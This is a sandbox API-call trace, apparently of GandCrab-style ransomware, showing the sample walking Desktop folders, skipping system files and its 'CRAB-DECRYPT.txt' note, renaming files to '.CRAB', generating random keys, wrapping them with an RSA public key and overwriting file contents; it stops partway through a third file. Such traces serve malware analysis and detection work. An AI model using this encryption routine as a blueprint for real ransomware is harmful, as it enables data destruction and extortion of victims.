	[0125.857] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0x31588c0
	[0125.857] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0125.857] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0125.857] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0125.857] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0125.857] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0125.857] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0125.857] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0125.857] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\CRAB-DECRYPT.txt"
	[0125.857] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.857] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\CRAB-DECRYPT.txt") returned 90
	[0125.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\CRAB-DECRYPT.txt") returned 90
	[0125.858] lstrlenW (lpString=".txt") returned 4
	[0125.858] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.858] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0125.858] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\CRAB-DECRYPT.txt") returned 90
	[0125.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\CRAB-DECRYPT.txt") returned 90
	[0125.858] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0125.858] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0125.858] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0125.859] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0125.859] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0125.859] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0125.859] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0125.859] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0125.859] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0125.859] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.859] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0125.859] lstrcmpW (lpString1="EKJCdrB.ppt", lpString2=".") returned 1
	[0125.859] lstrcmpW (lpString1="EKJCdrB.ppt", lpString2="..") returned 1
	[0125.859] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="EKJCdrB.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt"
	[0125.859] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.859] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt") returned 85
	[0125.860] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt") returned 85
	[0125.860] lstrlenW (lpString=".ppt") returned 4
	[0125.860] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.861] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0125.861] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt") returned 85
	[0125.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt") returned 85
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="desktop.ini") returned 1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="autorun.inf") returned 1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="ntuser.dat") returned -1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="iconcache.db") returned -1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="bootsect.bak") returned 1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="boot.ini") returned 1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="ntuser.dat.log") returned -1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="thumbs.db") returned -1
	[0125.862] lstrcmpiW (lpString1="EKJCdrB.ppt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.862] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.862] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB") returned 90
	[0125.863] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\ekjcdrb.ppt")) returned 0x20
	[0125.863] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt", dwFileAttributes=0x20) returned 1
	[0125.863] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\ekjcdrb.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\ekjcdrb.ppt.crab")) returned 1
	[0125.864] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.864] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB"
	[0125.864] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB.CRAB"
	[0125.864] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0125.865] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.866] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.866] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0125.866] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.866] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.866] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0125.866] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.867] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.867] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0125.867] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.867] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.867] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.868] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.868] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6eb78) returned 1
	[0125.868] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x3158980) returned 1
	[0125.868] CryptGetKeyParam (in: hKey=0x3158980, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0125.868] CryptEncrypt (in: hKey=0x3158980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0125.869] GetLastError () returned 0x0
	[0125.869] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.869] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e7c0) returned 1
	[0125.869] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x3158c00) returned 1
	[0125.894] CryptGetKeyParam (in: hKey=0x3158c00, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0125.894] CryptEncrypt (in: hKey=0x3158c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0125.895] GetLastError () returned 0x0
	[0125.895] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0125.895] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\EKJCdrB.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\ekjcdrb.ppt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0125.895] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.896] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.897] ReadFile (in: hFile=0x3f8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314a9cc*=0x165aa, lpOverlapped=0x0) returned 1
	[0125.910] VirtualAlloc (lpAddress=0x0, dwSize=0x165b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.912] VirtualAlloc (lpAddress=0x0, dwSize=0x165b0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.914] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.915] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffe9a56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.915] WriteFile (in: hFile=0x3f8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x165b0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314a9bc*=0x165b0, lpOverlapped=0x0) returned 1
	[0125.915] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.916] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.920] WriteFile (in: hFile=0x3f8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0125.920] WriteFile (in: hFile=0x3f8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0125.920] WriteFile (in: hFile=0x3f8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0125.920] CloseHandle (hObject=0x3f8) returned 1
	[0125.920] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.921] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.921] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.921] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.921] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.922] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.922] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0125.922] lstrcmpW (lpString1="fkoD1.m4a", lpString2=".") returned 1
	[0125.922] lstrcmpW (lpString1="fkoD1.m4a", lpString2="..") returned 1
	[0125.922] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="fkoD1.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a"
	[0125.922] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.922] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a") returned 83
	[0125.922] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a") returned 83
	[0125.922] lstrlenW (lpString=".m4a") returned 4
	[0125.922] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.923] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0125.923] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.923] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a") returned 83
	[0125.923] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a") returned 83
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="desktop.ini") returned 1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="autorun.inf") returned 1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="ntuser.dat") returned -1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="iconcache.db") returned -1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="bootsect.bak") returned 1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="boot.ini") returned 1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="ntuser.dat.log") returned -1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="thumbs.db") returned -1
	[0125.923] lstrcmpiW (lpString1="fkoD1.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.924] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.924] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB") returned 88
	[0125.924] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\fkod1.m4a")) returned 0x20
	[0125.924] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a", dwFileAttributes=0x20) returned 1
	[0125.924] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\fkod1.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\fkod1.m4a.crab")) returned 1
	[0125.925] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.926] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB"
	[0125.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB.CRAB"
	[0125.926] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0125.926] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.927] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.927] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.927] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0125.927] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.927] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.927] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6ed98) returned 1
	[0125.928] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.928] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.928] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0125.928] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.928] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.929] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.929] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.929] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0125.930] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x3158d00) returned 1
	[0125.930] CryptGetKeyParam (in: hKey=0x3158d00, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0125.930] CryptEncrypt (in: hKey=0x3158d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0125.930] GetLastError () returned 0x0
	[0125.930] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.930] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0125.931] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x3158ac0) returned 1
	[0125.931] CryptGetKeyParam (in: hKey=0x3158ac0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0125.931] CryptEncrypt (in: hKey=0x3158ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0125.931] GetLastError () returned 0x0
	[0125.931] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.931] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\fkoD1.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\fkod1.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0125.932] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
